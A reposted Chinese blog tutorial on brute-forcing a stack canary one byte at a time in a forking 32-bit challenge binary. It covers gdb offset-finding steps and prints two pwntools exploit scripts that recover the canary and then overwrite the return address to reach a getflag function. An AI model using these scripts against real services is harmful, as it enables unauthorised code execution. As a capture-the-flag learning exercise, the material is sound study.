我是靠谱客的博主 怡然犀牛,最近开发中收集的这篇文章主要介绍Canary学习(爆破Canary),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

one-by-one 爆破Canary原理

  • 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存。
  • 最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃;爆破成功则程序进行下面的逻辑。由此可判断爆破是否成功。
  • 我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。

example

开启了Canary保护

IDA反汇编可知,程序中含有fork函数,可进行爆破canary

fun函数中存在栈溢出

动态调试,查看偏移

在fork函数处下第一次断点

在canary压栈处下第二次断点

gdb bin1
b *0x0804874B
b *0x0804870C
r
set follow-fork-mode child
//跟随子进程
c
telescope $esp 35
canary
  • 即可查出canary与ebp之间的偏移位置;
  • buf与ebp之间的偏移同理

编写exp,进行爆破

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')

if local:
    p = process('./bin1')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')
p.recvuntil('welcomen')
canary = 'x00'
for k in range(3):
    for i in range(256):
        print "the " + str(k) + ": " + chr(i)
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil("welcomen")
        print a
        if "sucess" in a:
                canary += chr(i)
                print "canary: " + canary
                break

之后利用getflag函数地址发送payload

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')

if local:
    p = process('./bin1')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')
p.recvuntil('welcomen')
canary = 'x00'
for k in range(3):
    for i in range(256):
        print "the " + str(k) + ": " + chr(i)
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil("welcomen")
        print a
        if "sucess" in a:
                canary += chr(i)
                print "canary: " + canary
                break
addr = 0x0804863B
payload = 'A' * 100 + canary + 'A' * 12 + p32(addr)

p.send(payload)
p.interactive()

文件地址

下载

最后

以上就是怡然犀牛为你收集整理的Canary学习(爆破Canary)的全部内容,希望文章能够帮你解决Canary学习(爆破Canary)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(40)

评论列表共有 0 条评论

立即
投稿
返回
顶部